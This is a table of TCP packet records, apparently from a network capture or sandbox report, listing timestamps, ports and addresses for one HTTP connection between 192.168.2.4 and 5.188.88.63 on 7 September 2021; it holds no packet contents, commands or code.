Sep 7, 2021 16:02:56.637188911 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.637217045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.637274981 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.645850897 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.648710966 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.653136015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.653218985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.653285980 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.668759108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.668809891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.668894053 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.682111025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.682172060 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.683530092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.683558941 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.683665991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.683923006 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.696230888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696254015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696279049 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696300030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696326017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696348906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696371078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696373940 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.696393967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696418047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696439981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696456909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696475029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696476936 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.696542025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.696892977 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696926117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696948051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696969032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696990013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.696995020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697016954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697038889 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697056055 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697061062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697083950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697104931 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697118044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697127104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697149038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697169065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697176933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697196007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697232962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697241068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697256088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697277069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697280884 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697299004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697320938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697336912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697341919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697374105 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697748899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697803974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697804928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697833061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697854996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697876930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697899103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697901011 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697923899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697938919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697954893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697969913 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.697978020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.697999954 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698025942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698065042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698115110 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698121071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698194981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698218107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698263884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698267937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698288918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698307037 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698311090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698333979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698354959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698374033 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698379040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698405027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698415041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698429108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698450089 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698451042 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698473930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698493958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698504925 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698514938 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698537111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698549986 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698561907 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698585033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698591948 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698606968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698628902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698632002 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698652029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698673010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698693991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698693991 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698715925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698735952 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.698740959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.698770046 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.699109077 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.702327013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.702441931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.702455997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.702480078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.702507019 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.702543020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.705123901 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.717500925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.717561960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.717714071 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.737569094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.737603903 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.737680912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.748395920 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.748586893 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.749792099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.749821901 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.749869108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.762732029 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.762768030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.762912035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763035059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763061047 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763082981 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763106108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763145924 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763149023 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763173103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763187885 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763200998 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763212919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763222933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763246059 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763267040 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763288021 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763290882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763310909 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763319016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763334990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763359070 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763381958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763381958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763407946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763413906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763431072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763453960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763458014 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763477087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763499975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763520956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763530016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763545990 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763556004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763571024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763592005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763598919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763614893 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763637066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763638973 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763659000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763680935 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763700962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763701916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763726950 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763741016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763748884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763770103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763780117 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763792992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763817072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763818026 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763839006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763859987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.763864994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763885975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.763926983 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768328905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768362045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768385887 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768409014 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768431902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768455982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768481016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768502951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768524885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768551111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768573999 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768595934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768619061 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768641949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768662930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768686056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768707037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768732071 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768755913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768775940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768800974 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768826008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768848896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768871069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768893003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768893003 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768914938 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768918037 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768920898 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768923044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768923998 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768925905 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768928051 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768929958 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768932104 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768934011 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768935919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768938065 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768945932 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.768948078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768974066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.768997908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.769017935 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.769021034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.769049883 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.771199942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.771234989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.771255970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.771303892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.771332979 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.774281025 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.774311066 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.774441957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.776453018 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.781740904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.781768084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.781835079 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.802161932 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.802208900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.802308083 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.813493013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.814856052 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.814873934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.814909935 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.825484037 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.829690933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.829713106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.829730988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.829746962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.829746962 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.829771996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.829778910 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.829790115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.829829931 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.830064058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.830080032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.830118895 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.834690094 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.834722996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.834794998 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.835303068 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.835319996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.835391045 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.836771965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.836793900 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.836968899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838119984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838146925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838164091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838185072 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838196993 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838205099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838217974 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838222027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838255882 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838318110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838349104 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838366985 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838382959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838392973 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838402033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838419914 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838428020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838435888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838450909 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838452101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838469982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838485956 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838485956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838501930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838516951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838521957 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838541985 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.838892937 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838912010 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.838965893 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839013100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839029074 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839066029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839162111 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839178085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839193106 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839212894 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839222908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839241028 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839334965 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839353085 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839386940 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839447975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839463949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839481115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839494944 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839497089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839534044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839636087 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839653015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839700937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839760065 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839776039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839792967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.839807987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.839811087 CEST	80	49763	5.188.88.63	192.168.2.4
